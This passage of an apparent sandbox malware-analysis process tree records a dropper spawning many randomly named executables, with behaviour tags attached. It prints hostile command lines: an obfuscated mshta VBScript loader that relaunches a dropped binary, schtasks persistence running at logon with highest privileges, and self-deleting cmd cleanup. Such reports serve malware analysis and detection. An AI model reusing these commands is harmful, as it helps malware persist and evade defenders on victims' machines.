                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                    13⤵
                                                                                                    • Checks SCSI registry key(s)
                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                    PID:7744
                                                                                          • C:\Users\Admin\Documents\rWjxX4CZhGtd9jicyzsemEp2.exe
                                                                                            "C:\Users\Admin\Documents\rWjxX4CZhGtd9jicyzsemEp2.exe"
                                                                                            9⤵
                                                                                              PID:7596
                                                                                            • C:\Users\Admin\Documents\4CrHE6ncB3ZFuUVjag1NYan2.exe
                                                                                              "C:\Users\Admin\Documents\4CrHE6ncB3ZFuUVjag1NYan2.exe" /mixtwo
                                                                                              9⤵
                                                                                                PID:604
                                                                                              • C:\Users\Admin\Documents\cjExyvzmE6aL2QGM_jk92FYj.exe
                                                                                                "C:\Users\Admin\Documents\cjExyvzmE6aL2QGM_jk92FYj.exe"
                                                                                                9⤵
                                                                                                  PID:6856
                                                                                                • C:\Users\Admin\Documents\SZSrNh5QzZsX0oNHZ98g1OgM.exe
                                                                                                  "C:\Users\Admin\Documents\SZSrNh5QzZsX0oNHZ98g1OgM.exe"
                                                                                                  9⤵
                                                                                                    PID:7744
                                                                                                  • C:\Users\Admin\Documents\tX025jKFfMQkkuaH22jgbe5J.exe
                                                                                                    "C:\Users\Admin\Documents\tX025jKFfMQkkuaH22jgbe5J.exe"
                                                                                                    9⤵
                                                                                                      PID:7924
                                                                                                    • C:\Users\Admin\Documents\4JIjOnNEA7Stjw2Gh4vo4__j.exe
                                                                                                      "C:\Users\Admin\Documents\4JIjOnNEA7Stjw2Gh4vo4__j.exe"
                                                                                                      9⤵
                                                                                                        PID:8568
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-6KVD5.tmp\4JIjOnNEA7Stjw2Gh4vo4__j.tmp
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-6KVD5.tmp\4JIjOnNEA7Stjw2Gh4vo4__j.tmp" /SL5="$105A4,506127,422400,C:\Users\Admin\Documents\4JIjOnNEA7Stjw2Gh4vo4__j.exe"
                                                                                                          10⤵
                                                                                                          • Loads dropped DLL
                                                                                                          PID:8664
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-IQ18C.tmp\Chmenka.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-IQ18C.tmp\Chmenka.exe" /S /UID=124
                                                                                                            11⤵
                                                                                                            • Drops file in Drivers directory
                                                                                                            • Adds Run key to start application
                                                                                                            • Drops file in Program Files directory
                                                                                                            PID:10188
                                                                                                            • C:\Program Files\Java\FYUGORIEJO\IDownload.exe
                                                                                                              "C:\Program Files\Java\FYUGORIEJO\IDownload.exe" /VERYSILENT
                                                                                                              12⤵
                                                                                                                PID:4152
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-5VQKR.tmp\IDownload.tmp
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-5VQKR.tmp\IDownload.tmp" /SL5="$306AA,994212,425984,C:\Program Files\Java\FYUGORIEJO\IDownload.exe" /VERYSILENT
                                                                                                                  13⤵
                                                                                                                  • Drops file in Program Files directory
                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                  PID:10036
                                                                                                                  • C:\Program Files (x86)\IDownload\IDownload.App.exe
                                                                                                                    "C:\Program Files (x86)\IDownload\IDownload.App.exe" -silent -desktopShortcut -programMenu
                                                                                                                    14⤵
                                                                                                                    • Drops desktop.ini file(s)
                                                                                                                    • Drops file in Program Files directory
                                                                                                                    • Drops file in Windows directory
                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                    • Suspicious use of SendNotifyMessage
                                                                                                                    PID:9260
                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
                                                                                                                      "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1w-grbeo.cmdline"
                                                                                                                      15⤵
                                                                                                                        PID:8364
                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2C7.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC2C6.tmp"
                                                                                                                          16⤵
                                                                                                                            PID:9812
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\9b-0bc03-512-c8bae-b1c1222d0bfe2\Bypyxolazho.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\9b-0bc03-512-c8bae-b1c1222d0bfe2\Bypyxolazho.exe"
                                                                                                                    12⤵
                                                                                                                      PID:9888
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\b1-ed616-4c2-b72bf-1b99b3400b2a4\ZHuzhipalice.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\b1-ed616-4c2-b72bf-1b99b3400b2a4\ZHuzhipalice.exe"
                                                                                                                      12⤵
                                                                                                                        PID:6792
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b0kq1uyr.15m\GcleanerEU.exe /eufive & exit
                                                                                                                          13⤵
                                                                                                                            PID:7968
                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                              14⤵
                                                                                                                                PID:7920
                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                                                    8⤵
                                                                                                                    • Creates scheduled task(s)
                                                                                                                    PID:6808
                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                                                    8⤵
                                                                                                                    • Creates scheduled task(s)
                                                                                                                    PID:6800
                                                                                                                • C:\Users\Admin\Documents\Eh77SoU5IL3oGtWGO5hV9sUk.exe
                                                                                                                  "C:\Users\Admin\Documents\Eh77SoU5IL3oGtWGO5hV9sUk.exe"
                                                                                                                  7⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Checks BIOS information in registry
                                                                                                                  • Checks whether UAC is enabled
                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                  PID:4216
                                                                                                                • C:\Users\Admin\Documents\2v2hREtovRlLnp_Uax9CJkcw.exe
                                                                                                                  "C:\Users\Admin\Documents\2v2hREtovRlLnp_Uax9CJkcw.exe"
                                                                                                                  7⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:928
                                                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                                                    "C:\Windows\System32\mshta.exe" vbsCrIPT: CLOse ( crEateOBjeCt ( "wScrIPT.SHELL" ). RuN ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\2v2hREtovRlLnp_Uax9CJkcw.exe"" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj & IF """"== """" for %w In ( ""C:\Users\Admin\Documents\2v2hREtovRlLnp_Uax9CJkcw.exe"" ) do taskkill /F -iM ""%~nxw"" " , 0 , tRUE ) )
                                                                                                                    8⤵
                                                                                                                      PID:996
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\2v2hREtovRlLnp_Uax9CJkcw.exe" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj& IF ""== "" for %w In ( "C:\Users\Admin\Documents\2v2hREtovRlLnp_Uax9CJkcw.exe" ) do taskkill /F -iM "%~nxw"
                                                                                                                        9⤵
                                                                                                                          PID:6320
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe
                                                                                                                            Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj
                                                                                                                            10⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:3840
                                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                                              "C:\Windows\System32\mshta.exe" vbsCrIPT: CLOse ( crEateOBjeCt ( "wScrIPT.SHELL" ). RuN ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe"" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj & IF ""-pHMKPyuuVVnjhxYIEreJKQmnfTDzj""== """" for %w In ( ""C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe"" ) do taskkill /F -iM ""%~nxw"" " , 0 , tRUE ) )
                                                                                                                              11⤵
                                                                                                                                PID:7372
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  "C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj& IF "-pHMKPyuuVVnjhxYIEreJKQmnfTDzj"== "" for %w In ( "C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe" ) do taskkill /F -iM "%~nxw"
                                                                                                                                  12⤵
                                                                                                                                    PID:8112
                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                  "C:\Windows\System32\rundll32.exe" bFut_Y.g_U,GpozpZJ
                                                                                                                                  11⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  PID:7632
                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                taskkill /F -iM "2v2hREtovRlLnp_Uax9CJkcw.exe"
                                                                                                                                10⤵
                                                                                                                                • Kills process with taskkill
                                                                                                                                PID:7008
                                                                                                                        • C:\Users\Admin\Documents\16tfdGVDbBlwuyfpiZ82UDK1.exe
                                                                                                                          "C:\Users\Admin\Documents\16tfdGVDbBlwuyfpiZ82UDK1.exe"
                                                                                                                          7⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                          PID:5348
                                                                                                                          • C:\Users\Admin\Documents\16tfdGVDbBlwuyfpiZ82UDK1.exe
                                                                                                                            "C:\Users\Admin\Documents\16tfdGVDbBlwuyfpiZ82UDK1.exe"
                                                                                                                            8⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:6400
                                                                                                                        • C:\Users\Admin\Documents\OROUoUnNKOQBmFFDrNlXxzMt.exe
                                                                                                                          "C:\Users\Admin\Documents\OROUoUnNKOQBmFFDrNlXxzMt.exe"
                                                                                                                          7⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:5684
                                                                                                                        • C:\Users\Admin\Documents\XYWyNnFs6zFRfqOsB7Wf9jkb.exe
                                                                                                                          "C:\Users\Admin\Documents\XYWyNnFs6zFRfqOsB7Wf9jkb.exe"
                                                                                                                          7⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:5656
                                                                                                                        • C:\Users\Admin\Documents\IhSmqOqPqCPzkf9wH04ycfl2.exe
                                                                                                                          "C:\Users\Admin\Documents\IhSmqOqPqCPzkf9wH04ycfl2.exe"
                                                                                                                          7⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Checks BIOS information in registry
                                                                                                                          • Checks whether UAC is enabled
                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                          PID:5628
                                                                                                                        • C:\Users\Admin\Documents\012htKxr2nTEAL63Y4peTxIg.exe
                                                                                                                          "C:\Users\Admin\Documents\012htKxr2nTEAL63Y4peTxIg.exe"
                                                                                                                          7⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:5736
                                                                                                                        • C:\Users\Admin\Documents\_fdUphXZMZtJwM6iLe5yHV0M.exe
                                                                                                                          "C:\Users\Admin\Documents\_fdUphXZMZtJwM6iLe5yHV0M.exe"
                                                                                                                          7⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          PID:5552
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\_fdUphXZMZtJwM6iLe5yHV0M.exe"
                                                                                                                            8⤵
                                                                                                                              PID:7448
                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                timeout /T 10 /NOBREAK
                                                                                                                                9⤵
                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                PID:7608
                                                                                                                          • C:\Users\Admin\Documents\oQguqAjcmCuH3Z5vOsc2un5S.exe
                                                                                                                            "C:\Users\Admin\Documents\oQguqAjcmCuH3Z5vOsc2un5S.exe"
                                                                                                                            7⤵
                                                                                                                              PID:5572
                                                                                                                            • C:\Users\Admin\Documents\RRHDURNxDrdJdqTLgJTRkXoB.exe
                                                                                                                              "C:\Users\Admin\Documents\RRHDURNxDrdJdqTLgJTRkXoB.exe"
                                                                                                                              7⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                              PID:3088
                                                                                                                              • C:\Users\Admin\Documents\RRHDURNxDrdJdqTLgJTRkXoB.exe
                                                                                                                                C:\Users\Admin\Documents\RRHDURNxDrdJdqTLgJTRkXoB.exe
                                                                                                                                8⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:5968
                                                                                                                            • C:\Users\Admin\Documents\bdzYOp3KySIDW5wxIinM109L.exe
                                                                                                                              "C:\Users\Admin\Documents\bdzYOp3KySIDW5wxIinM109L.exe"
                                                                                                                              7⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Checks BIOS information in registry
                                                                                                                              • Checks whether UAC is enabled
                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                              PID:1240
                                                                                                                            • C:\Users\Admin\Documents\5nlwX8i0fRi4GmNQ1r6bdAcn.exe
                                                                                                                              "C:\Users\Admin\Documents\5nlwX8i0fRi4GmNQ1r6bdAcn.exe"
                                                                                                                              7⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Checks BIOS information in registry
                                                                                                                              • Checks whether UAC is enabled
                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                              PID:5248
                                                                                                                            • C:\Users\Admin\Documents\StxKpH4GPniAuDagMgmHFkCG.exe
                                                                                                                              "C:\Users\Admin\Documents\StxKpH4GPniAuDagMgmHFkCG.exe"
                                                                                                                              7⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:5540
                                                                                                                            • C:\Users\Admin\Documents\VUMSJQTXKoaYhtXEDe85GV8b.exe
                                                                                                                              "C:\Users\Admin\Documents\VUMSJQTXKoaYhtXEDe85GV8b.exe"
                                                                                                                              7⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                              PID:5220
                                                                                                                              • C:\Users\Admin\Documents\VUMSJQTXKoaYhtXEDe85GV8b.exe
                                                                                                                                "C:\Users\Admin\Documents\VUMSJQTXKoaYhtXEDe85GV8b.exe"
                                                                                                                                8⤵
                                                                                                                                  PID:604
                                                                                                                                • C:\Users\Admin\Documents\VUMSJQTXKoaYhtXEDe85GV8b.exe
                                                                                                                                  "C:\Users\Admin\Documents\VUMSJQTXKoaYhtXEDe85GV8b.exe"
                                                                                                                                  8⤵
                                                                                                                                    PID:5812
                                                                                                                                  • C:\Users\Admin\Documents\VUMSJQTXKoaYhtXEDe85GV8b.exe
                                                                                                                                    "C:\Users\Admin\Documents\VUMSJQTXKoaYhtXEDe85GV8b.exe"
                                                                                                                                    8⤵
                                                                                                                                      PID:5084
                                                                                                                                    • C:\Users\Admin\Documents\VUMSJQTXKoaYhtXEDe85GV8b.exe
                                                                                                                                      "C:\Users\Admin\Documents\VUMSJQTXKoaYhtXEDe85GV8b.exe"
                                                                                                                                      8⤵
                                                                                                                                      • Loads dropped DLL
                                                                                                                                      • Checks processor information in registry
                                                                                                                                      PID:4980
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im VUMSJQTXKoaYhtXEDe85GV8b.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\VUMSJQTXKoaYhtXEDe85GV8b.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                        9⤵
                                                                                                                                          PID:8320
                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                            taskkill /im VUMSJQTXKoaYhtXEDe85GV8b.exe /f
                                                                                                                                            10⤵
                                                                                                                                            • Kills process with taskkill
                                                                                                                                            PID:8624
                                                                                                                                      • C:\Users\Admin\Documents\VUMSJQTXKoaYhtXEDe85GV8b.exe
                                                                                                                                        "C:\Users\Admin\Documents\VUMSJQTXKoaYhtXEDe85GV8b.exe"
                                                                                                                                        8⤵
                                                                                                                                          PID:2268
                                                                                                                                      • C:\Users\Admin\Documents\LIjYCHiaG_y3bkR5iLhdgutF.exe
                                                                                                                                        "C:\Users\Admin\Documents\LIjYCHiaG_y3bkR5iLhdgutF.exe"
                                                                                                                                        7⤵
                                                                                                                                        • Drops file in Drivers directory
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                        PID:4348
                                                                                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                                          8⤵
                                                                                                                                            PID:6980
                                                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                                              9⤵
                                                                                                                                                PID:7048
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                              8⤵
                                                                                                                                              • Enumerates system info in registry
                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                              PID:8444
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc8,0xcc,0xd0,0x64,0xd4,0x7ffa8af54f50,0x7ffa8af54f60,0x7ffa8af54f70
                                                                                                                                                9⤵
                                                                                                                                                  PID:8500
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1628 /prefetch:2
                                                                                                                                                  9⤵
                                                                                                                                                    PID:8612
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1692 /prefetch:8
                                                                                                                                                    9⤵
                                                                                                                                                      PID:8952
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2104 /prefetch:8
                                                                                                                                                      9⤵
                                                                                                                                                        PID:8124
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2624 /prefetch:1
                                                                                                                                                        9⤵
                                                                                                                                                          PID:9332
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2632 /prefetch:1
                                                                                                                                                          9⤵
                                                                                                                                                            PID:9384
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
                                                                                                                                                            9⤵
                                                                                                                                                              PID:9488
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1
                                                                                                                                                              9⤵
                                                                                                                                                                PID:9544
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3620 /prefetch:1
                                                                                                                                                                9⤵
                                                                                                                                                                  PID:9632
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3432 /prefetch:1
                                                                                                                                                                  9⤵
                                                                                                                                                                    PID:9588
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4232 /prefetch:8
                                                                                                                                                                    9⤵
                                                                                                                                                                      PID:3276
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3688 /prefetch:8
                                                                                                                                                                      9⤵
                                                                                                                                                                        PID:10096
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings
                                                                                                                                                                        9⤵
                                                                                                                                                                          PID:8920
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff7c5e1a890,0x7ff7c5e1a8a0,0x7ff7c5e1a8b0
                                                                                                                                                                            10⤵
                                                                                                                                                                              PID:10236
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4100 /prefetch:8
                                                                                                                                                                            9⤵
                                                                                                                                                                              PID:8316
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3840 /prefetch:8
                                                                                                                                                                              9⤵
                                                                                                                                                                                PID:9772
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5960 /prefetch:8
                                                                                                                                                                                9⤵
                                                                                                                                                                                  PID:7256
                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5980 /prefetch:8
                                                                                                                                                                                  9⤵
                                                                                                                                                                                    PID:7232
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5992 /prefetch:8
                                                                                                                                                                                    9⤵
                                                                                                                                                                                      PID:5760
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6004 /prefetch:8
                                                                                                                                                                                      9⤵
                                                                                                                                                                                        PID:2356
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6016 /prefetch:8
                                                                                                                                                                                        9⤵
                                                                                                                                                                                          PID:8264
                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3792 /prefetch:8
                                                                                                                                                                                          9⤵
                                                                                                                                                                                            PID:7212
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6028 /prefetch:8
                                                                                                                                                                                            9⤵
                                                                                                                                                                                              PID:9428
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1596,4391495675973721071,14699456652226438106,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5812 /prefetch:8
                                                                                                                                                                                              9⤵
                                                                                                                                                                                                PID:5776
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
